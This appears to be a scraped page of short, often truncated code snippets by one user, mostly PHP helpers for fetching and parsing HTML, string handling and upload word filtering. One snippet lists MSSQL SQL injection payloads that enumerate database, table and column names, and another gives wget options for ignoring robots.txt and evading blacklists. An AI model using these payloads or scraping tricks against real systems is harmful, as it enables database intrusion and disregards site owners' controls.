cloudsben

<?php
if ( ! function_exists('http_get_utf8_html'))
{
  function http_get_utf8_html($url,$from_encoding='')
	{
		$result = array();
		$result['url'] = $url;
		$result['html'] = '';		
		$header = get_headers_by_curl($url);

cloudsben

<?php
mysql_connect();
 
//测试数据
$sql =<<< SQL
select * from (
  select '1' as id, '0' as pid, 'Food' as title
  union all select '2', '1', 'Fruit'
  union all select '3', '2', 'Red'
  union all select '4', '3', 'Cherry'

cloudsben

<?php
error_reporting(-1);

$parent_nodes = array();

$html  = file_get_contents("http://www.csdn.net/article/2013-01-09/2813524-CSDN-morning-paper");

$doc = new DOMDocument();

$doc->encoding = "utf-8";

cloudsben

# -p parameter tells wget to include all files, including images.
# -e robots=off you don't want wget to obey by the robots.txt file
# -U mozilla as your browsers identity.
# --random-wait to let wget chose a random number of seconds to wait, avoid get into black list.
# Other Useful wget Parameters:
# --limit-rate=20k limits the rate at which it downloads files.
# -b continues wget after logging out.
# -o $HOME/wget_log.txt logs the output

wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

cloudsben

t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--

b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--

b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');

cloudsben

function checkUploadText($content)
	{
		$stoptext = file_get_contents($this->CI->config->item('stopword_file'));
		$stoptext = str_replace("\n",'',$stoptext);
		$stoptext = str_replace("\r",'',$stoptext);
		$stopwords = array_map('strtolower',explode(',',$stoptext));
		$content = strtolower($content);

		$ret = array('ret'=>1,'word'=>'');
		if($content!='')

cloudsben

sudo route -n add -net 192.168.6.0 -netmask 255.255.255.0 192.168.200.1

cloudsben

/**
 * 函数名 html_substr
 * 功能 从html串中截取指定长度的字串，html标记不计算在内
 * 参数
 *  $str 要截取的串
 *  $len 要截取的长度
 *  $mode 不匹配的标记的处理方式 0 删去(默认)，1 补齐
 * 返回 截取到的串
 * 说明
 *  未考虑多字节字符，仅已字节做计数单位

cloudsben

function compose() {
  $funcs = func_get_args();
  return function ($x) use ($funcs) {
    foreach($funcs as $func)
      $x = $func($x); 
    return $x;
  };
}

cloudsben

<?php
	for($i=0;$i< 90000; $i++)
	{
		$a .= ','.rand(10000,99999);
	}
//	$b = explode(',', $a);
//	$c =array_slice($b, 0, 20);
//	var_dump($c);
	$cc = 0;$pos = 0;
	echo $a[0];